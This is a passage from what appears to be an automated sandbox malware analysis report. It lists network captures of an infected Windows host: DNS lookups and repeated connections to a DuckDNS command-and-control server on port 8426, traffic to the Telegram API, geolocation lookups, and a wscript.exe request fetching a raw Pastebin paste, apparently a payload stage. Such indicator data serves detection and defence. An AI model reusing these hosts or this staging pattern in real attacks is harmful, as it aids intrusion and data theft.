                                                                                                                                                                                      May 10, 2024 21:34:08.377990961 CEST84264981245.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:08.378092051 CEST498128426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:08.378607035 CEST498128426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:08.592397928 CEST84264981245.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:13.390183926 CEST498138426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:13.595192909 CEST84264981345.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:13.595278025 CEST498138426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:13.595581055 CEST498138426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:13.850378990 CEST84264981345.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:14.830312967 CEST84264981345.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:14.830459118 CEST498138426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:14.830459118 CEST498138426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:15.037936926 CEST84264981345.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:20.009042978 CEST498148426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:20.217609882 CEST84264981445.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:20.217812061 CEST498148426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:20.217921972 CEST498148426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:20.477178097 CEST84264981445.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:20.478776932 CEST84264981445.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:20.478854895 CEST498148426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:20.481659889 CEST498148426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:20.689929008 CEST84264981445.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:22.506377935 CEST4979380192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:34:22.616424084 CEST8049793172.67.19.24192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:22.616542101 CEST4979380192.168.2.4172.67.19.24
                                                                                                                                                                                      May 10, 2024 21:34:25.526124954 CEST498158426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:25.739721060 CEST84264981545.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:25.739924908 CEST498158426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:25.740081072 CEST498158426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:25.989475012 CEST84264981545.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:25.989631891 CEST498158426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:25.989631891 CEST498158426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:26.203263998 CEST84264981545.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:30.999171972 CEST498168426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:31.206433058 CEST84264981645.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:31.206516981 CEST498168426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:31.206768990 CEST498168426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:31.464032888 CEST84264981645.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:32.422631025 CEST84264981645.133.174.75192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:32.422780037 CEST498168426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:32.422780037 CEST498168426192.168.2.445.133.174.75
                                                                                                                                                                                      May 10, 2024 21:34:32.630111933 CEST84264981645.133.174.75192.168.2.4

                                                                                                                                                                                      UDP Packets

                                                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                      May 10, 2024 21:31:19.483375072 CEST5711953192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:19.483557940 CEST6234853192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:19.483761072 CEST6177253192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:19.483869076 CEST5039453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:19.578659058 CEST53501271.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:19.593794107 CEST53571191.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:19.594252110 CEST53551521.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:19.594307899 CEST53623481.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:19.600738049 CEST53503941.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:19.600750923 CEST53617721.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:20.238571882 CEST53601781.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:20.388797045 CEST6329453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:20.388936996 CEST5994853192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:20.431579113 CEST5510253192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:20.431684017 CEST4997453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:20.499593019 CEST53632941.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:20.502906084 CEST53599481.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:20.542145967 CEST53551021.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:20.547149897 CEST53499741.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:20.549015045 CEST5573053192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:20.549341917 CEST5532453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:20.660717010 CEST53553241.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:20.662300110 CEST53557301.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:21.166368008 CEST5329453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:21.166523933 CEST5230453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:21.279463053 CEST53532941.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:21.279489994 CEST53523041.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:23.433830023 CEST6024453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:23.433950901 CEST4978753192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:23.543646097 CEST53497871.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:23.543875933 CEST53602441.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:35.621798992 CEST138138192.168.2.4192.168.2.255
                                                                                                                                                                                      May 10, 2024 21:31:37.227451086 CEST53600111.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:41.133702993 CEST53510901.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:42.135518074 CEST5599153192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:42.135519028 CEST5463853192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:42.245965004 CEST53559911.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:42.246177912 CEST53546381.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:42.982045889 CEST4921653192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:42.982287884 CEST5312553192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:42.984981060 CEST5518353192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:42.985354900 CEST6089153192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:43.096662998 CEST53551831.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:43.097346067 CEST53608911.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:43.160751104 CEST53492161.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:43.160839081 CEST53531251.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:43.731159925 CEST5414953192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:43.731343031 CEST6082853192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:43.912166119 CEST53541491.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:44.061434031 CEST53608281.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:46.944494009 CEST5374153192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:46.944904089 CEST6379853192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:47.060944080 CEST53537411.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:47.064610004 CEST53637981.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:49.217966080 CEST5053353192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:49.218264103 CEST5146053192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:49.334319115 CEST53514601.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:49.334867001 CEST53505331.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:49.855717897 CEST6446653192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:49.856436968 CEST5179353192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:49.966116905 CEST53644661.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:49.978686094 CEST53517931.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:52.660814047 CEST6203953192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:52.771214962 CEST53620391.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:53.452764034 CEST6080053192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:53.563273907 CEST53608001.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:54.482214928 CEST6402553192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:54.594366074 CEST53640251.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:56.029400110 CEST53507931.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.529443026 CEST6365053192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:31:59.640077114 CEST53636501.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:31:59.988934040 CEST6268853192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:32:00.129236937 CEST53626881.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:19.139353991 CEST53528011.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:19.146502972 CEST53574971.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:32.054040909 CEST6227153192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:32:32.200031996 CEST53622711.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:32:47.305927992 CEST53492261.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:33:02.350794077 CEST5502953192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:33:02.492476940 CEST53550291.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:33:32.601463079 CEST53557641.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:33:47.585015059 CEST5704653192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:33:47.723910093 CEST53570461.1.1.1192.168.2.4
                                                                                                                                                                                      May 10, 2024 21:34:13.975737095 CEST5557453192.168.2.41.1.1.1
                                                                                                                                                                                      May 10, 2024 21:34:14.123692036 CEST53555741.1.1.1192.168.2.4

                                                                                                                                                                                      ICMP Packets

                                                                                                                                                                                      TimestampSource IPDest IPChecksumCodeType
                                                                                                                                                                                      May 10, 2024 21:31:44.061589956 CEST192.168.2.41.1.1.1c228(Port unreachable)Destination Unreachable

                                                                                                                                                                                      DNS Queries

                                                                                                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                      May 10, 2024 21:31:19.483375072 CEST192.168.2.41.1.1.10xd157Standard query (0)i.stack.imgur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.483557940 CEST192.168.2.41.1.1.10xd89dStandard query (0)i.stack.imgur.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.483761072 CEST192.168.2.41.1.1.10xb0dStandard query (0)cloudgoogle.pages.devA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.483869076 CEST192.168.2.41.1.1.10x7c0aStandard query (0)cloudgoogle.pages.dev65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.388797045 CEST192.168.2.41.1.1.10xd87aStandard query (0)i.stack.imgur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.388936996 CEST192.168.2.41.1.1.10x91aStandard query (0)i.stack.imgur.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.431579113 CEST192.168.2.41.1.1.10xd37dStandard query (0)icons.iconarchive.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.431684017 CEST192.168.2.41.1.1.10x3b02Standard query (0)icons.iconarchive.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.549015045 CEST192.168.2.41.1.1.10x8f9bStandard query (0)icons.iconarchive.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.549341917 CEST192.168.2.41.1.1.10x9a54Standard query (0)icons.iconarchive.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:21.166368008 CEST192.168.2.41.1.1.10xb2fcStandard query (0)icons.iconarchive.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:21.166523933 CEST192.168.2.41.1.1.10x1f44Standard query (0)icons.iconarchive.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:23.433830023 CEST192.168.2.41.1.1.10xb450Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:23.433950901 CEST192.168.2.41.1.1.10x9ff8Standard query (0)www.google.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.135518074 CEST192.168.2.41.1.1.10xd2bcStandard query (0)json.geoiplookup.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.135519028 CEST192.168.2.41.1.1.10x3aa3Standard query (0)json.geoiplookup.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.982045889 CEST192.168.2.41.1.1.10x55b7Standard query (0)pastie.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.982287884 CEST192.168.2.41.1.1.10x69fbStandard query (0)pastie.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.984981060 CEST192.168.2.41.1.1.10x82ccStandard query (0)json.geoiplookup.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.985354900 CEST192.168.2.41.1.1.10xb3bbStandard query (0)json.geoiplookup.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.731159925 CEST192.168.2.41.1.1.10xf930Standard query (0)pastie.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.731343031 CEST192.168.2.41.1.1.10x70Standard query (0)pastie.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:46.944494009 CEST192.168.2.41.1.1.10x57c4Standard query (0)cviocemusikdanxcehal.pages.devA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:46.944904089 CEST192.168.2.41.1.1.10xd0cbStandard query (0)cviocemusikdanxcehal.pages.dev65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.217966080 CEST192.168.2.41.1.1.10xd5cbStandard query (0)cviocemusikdanxcehal.pages.devA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.218264103 CEST192.168.2.41.1.1.10xb90cStandard query (0)cviocemusikdanxcehal.pages.dev65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.855717897 CEST192.168.2.41.1.1.10xb922Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.856436968 CEST192.168.2.41.1.1.10xa167Standard query (0)api.telegram.org65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:52.660814047 CEST192.168.2.41.1.1.10xe63dStandard query (0)json.geoiplookup.ioA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:53.452764034 CEST192.168.2.41.1.1.10x8720Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:54.482214928 CEST192.168.2.41.1.1.10x6fd5Standard query (0)pastebin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:59.529443026 CEST192.168.2.41.1.1.10x52bdStandard query (0)ip-api.comA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:59.988934040 CEST192.168.2.41.1.1.10xc405Standard query (0)masterokrwh.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:32:32.054040909 CEST192.168.2.41.1.1.10x71dbStandard query (0)masterokrwh.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:33:02.350794077 CEST192.168.2.41.1.1.10xe23dStandard query (0)masterokrwh.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:33:47.585015059 CEST192.168.2.41.1.1.10xa57bStandard query (0)masterokrwh.duckdns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:34:13.975737095 CEST192.168.2.41.1.1.10xb4e3Standard query (0)masterokrwh.duckdns.orgA (IP address)IN (0x0001)false

                                                                                                                                                                                      DNS Answers

                                                                                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                      May 10, 2024 21:31:19.593794107 CEST1.1.1.1192.168.2.40xd157No error (0)i.stack.imgur.comipv4.imgur.map.fastly.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.593794107 CEST1.1.1.1192.168.2.40xd157No error (0)ipv4.imgur.map.fastly.net199.232.192.193A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.593794107 CEST1.1.1.1192.168.2.40xd157No error (0)ipv4.imgur.map.fastly.net199.232.196.193A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.594307899 CEST1.1.1.1192.168.2.40xd89dNo error (0)i.stack.imgur.comipv4.imgur.map.fastly.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.600738049 CEST1.1.1.1192.168.2.40x7c0aNo error (0)cloudgoogle.pages.dev65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.600750923 CEST1.1.1.1192.168.2.40xb0dNo error (0)cloudgoogle.pages.dev172.66.47.2A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:19.600750923 CEST1.1.1.1192.168.2.40xb0dNo error (0)cloudgoogle.pages.dev172.66.44.254A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.499593019 CEST1.1.1.1192.168.2.40xd87aNo error (0)i.stack.imgur.comipv4.imgur.map.fastly.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.499593019 CEST1.1.1.1192.168.2.40xd87aNo error (0)ipv4.imgur.map.fastly.net199.232.192.193A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.499593019 CEST1.1.1.1192.168.2.40xd87aNo error (0)ipv4.imgur.map.fastly.net199.232.196.193A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.502906084 CEST1.1.1.1192.168.2.40x91aNo error (0)i.stack.imgur.comipv4.imgur.map.fastly.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.542145967 CEST1.1.1.1192.168.2.40xd37dNo error (0)icons.iconarchive.com104.21.235.214A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.542145967 CEST1.1.1.1192.168.2.40xd37dNo error (0)icons.iconarchive.com104.21.235.213A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.547149897 CEST1.1.1.1192.168.2.40x3b02No error (0)icons.iconarchive.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.660717010 CEST1.1.1.1192.168.2.40x9a54No error (0)icons.iconarchive.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.662300110 CEST1.1.1.1192.168.2.40x8f9bNo error (0)icons.iconarchive.com104.21.235.214A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:20.662300110 CEST1.1.1.1192.168.2.40x8f9bNo error (0)icons.iconarchive.com104.21.235.213A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:21.279463053 CEST1.1.1.1192.168.2.40xb2fcNo error (0)icons.iconarchive.com104.21.235.213A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:21.279463053 CEST1.1.1.1192.168.2.40xb2fcNo error (0)icons.iconarchive.com104.21.235.214A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:21.279489994 CEST1.1.1.1192.168.2.40x1f44No error (0)icons.iconarchive.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:23.543646097 CEST1.1.1.1192.168.2.40x9ff8No error (0)www.google.com65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:23.543875933 CEST1.1.1.1192.168.2.40xb450No error (0)www.google.com172.217.4.68A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.245965004 CEST1.1.1.1192.168.2.40xd2bcNo error (0)json.geoiplookup.io104.21.25.148A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.245965004 CEST1.1.1.1192.168.2.40xd2bcNo error (0)json.geoiplookup.io172.67.134.82A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:42.246177912 CEST1.1.1.1192.168.2.40x3aa3No error (0)json.geoiplookup.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.096662998 CEST1.1.1.1192.168.2.40x82ccNo error (0)json.geoiplookup.io104.21.25.148A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.096662998 CEST1.1.1.1192.168.2.40x82ccNo error (0)json.geoiplookup.io172.67.134.82A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.097346067 CEST1.1.1.1192.168.2.40xb3bbNo error (0)json.geoiplookup.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.160751104 CEST1.1.1.1192.168.2.40x55b7No error (0)pastie.io172.67.162.195A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.160751104 CEST1.1.1.1192.168.2.40x55b7No error (0)pastie.io104.21.10.93A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.160839081 CEST1.1.1.1192.168.2.40x69fbNo error (0)pastie.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.912166119 CEST1.1.1.1192.168.2.40xf930No error (0)pastie.io104.21.10.93A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:43.912166119 CEST1.1.1.1192.168.2.40xf930No error (0)pastie.io172.67.162.195A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:44.061434031 CEST1.1.1.1192.168.2.40x70No error (0)pastie.io65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:47.060944080 CEST1.1.1.1192.168.2.40x57c4No error (0)cviocemusikdanxcehal.pages.dev172.66.44.230A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:47.060944080 CEST1.1.1.1192.168.2.40x57c4No error (0)cviocemusikdanxcehal.pages.dev172.66.47.26A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:47.064610004 CEST1.1.1.1192.168.2.40xd0cbNo error (0)cviocemusikdanxcehal.pages.dev65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.334319115 CEST1.1.1.1192.168.2.40xb90cNo error (0)cviocemusikdanxcehal.pages.dev65IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.334867001 CEST1.1.1.1192.168.2.40xd5cbNo error (0)cviocemusikdanxcehal.pages.dev172.66.47.26A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.334867001 CEST1.1.1.1192.168.2.40xd5cbNo error (0)cviocemusikdanxcehal.pages.dev172.66.44.230A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:49.966116905 CEST1.1.1.1192.168.2.40xb922No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:52.771214962 CEST1.1.1.1192.168.2.40xe63dNo error (0)json.geoiplookup.io104.21.25.148A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:52.771214962 CEST1.1.1.1192.168.2.40xe63dNo error (0)json.geoiplookup.io172.67.134.82A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:53.563273907 CEST1.1.1.1192.168.2.40x8720No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:54.594366074 CEST1.1.1.1192.168.2.40x6fd5No error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:54.594366074 CEST1.1.1.1192.168.2.40x6fd5No error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:54.594366074 CEST1.1.1.1192.168.2.40x6fd5No error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:31:59.640077114 CEST1.1.1.1192.168.2.40x52bdNo error (0)ip-api.com208.95.112.1A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:32:00.129236937 CEST1.1.1.1192.168.2.40xc405No error (0)masterokrwh.duckdns.org45.133.174.75A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:32:32.200031996 CEST1.1.1.1192.168.2.40x71dbNo error (0)masterokrwh.duckdns.org45.133.174.75A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:33:02.492476940 CEST1.1.1.1192.168.2.40xe23dNo error (0)masterokrwh.duckdns.org45.133.174.75A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:33:47.723910093 CEST1.1.1.1192.168.2.40xa57bNo error (0)masterokrwh.duckdns.org45.133.174.75A (IP address)IN (0x0001)false
                                                                                                                                                                                      May 10, 2024 21:34:14.123692036 CEST1.1.1.1192.168.2.40xb4e3No error (0)masterokrwh.duckdns.org45.133.174.75A (IP address)IN (0x0001)false

                                                                                                                                                                                      HTTP Request Dependency Graph

                                                                                                                                                                                      • cloudgoogle.pages.dev
                                                                                                                                                                                      • i.stack.imgur.com
                                                                                                                                                                                      • icons.iconarchive.com
                                                                                                                                                                                      • fs.microsoft.com
                                                                                                                                                                                      • slscr.update.microsoft.com
                                                                                                                                                                                      • json.geoiplookup.io
                                                                                                                                                                                      • pastie.io
                                                                                                                                                                                      • cviocemusikdanxcehal.pages.dev
                                                                                                                                                                                      • api.telegram.org
                                                                                                                                                                                      • pastebin.com
                                                                                                                                                                                      • ip-api.com
                                                                                                                                                                                      • masterokrwh.duckdns.org:8426

                                                                                                                                                                                      HTTP Packets

                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      0192.168.2.449774172.67.19.24807076C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:31:54.705554962 CEST182OUTGET /raw/NsQ5qTHr HTTP/1.1
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Accept-Language: en-ch
